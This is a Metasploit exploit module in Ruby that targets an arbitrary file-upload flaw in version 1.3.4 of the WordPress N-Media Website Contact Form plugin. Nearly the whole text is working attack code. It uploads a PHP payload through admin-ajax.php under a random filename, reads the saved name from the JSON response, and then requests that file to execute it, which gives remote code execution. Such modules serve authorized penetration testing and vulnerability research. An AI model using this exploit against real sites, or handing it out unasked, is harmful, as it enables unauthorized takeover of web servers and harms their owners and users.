Wordpress N-Media Website Contact Form Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wordpress N-Media Website Contact Form Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form
        plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution.
      },
      'Author'         =>
        [
          'Claudio Viviani', # Vulnerability discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],
          ['WPVDB', '7896']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['N-Media WebSite Contact Form 1.3.4', {}]],
      'DisclosureDate' => '2015-04-12',
      'DefaultTarget'  => 0)
    )
  end

  def check
    check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')
  end

  def exploit
    php_pagename = rand_text_alpha(4 + rand(4)) + '.php'

    data = Rex::MIME::Message.new
    data.add_part('upload', nil, nil, 'form-data; name="action"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{php_pagename}\"")
    data.add_part('nm_webcontact_upload_file', nil, nil, 'form-data; name="action"')
    post_data = data.to_s

    res = send_request_cgi({
      'uri'       => wordpress_url_admin_ajax,
      'method'    => 'POST',
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => post_data
    })

    if res
      if res.code == 200 && res.body =~ /filename/
        begin
          new_php_pagename = JSON.parse(res.body)["filename"]
        rescue JSON::ParserError
          fail_with(Failure::Unknown, 'Unable to parse JSON data for the filename')
        end
        print_good("Our payload is at: #{new_php_pagename}. Calling payload...")
        register_files_for_cleanup(new_php_pagename)
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown,'ERROR')
    end

    print_status("Calling payload...")
    send_request_cgi(
      'uri'       => normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', new_php_pagename)
    )
  end
end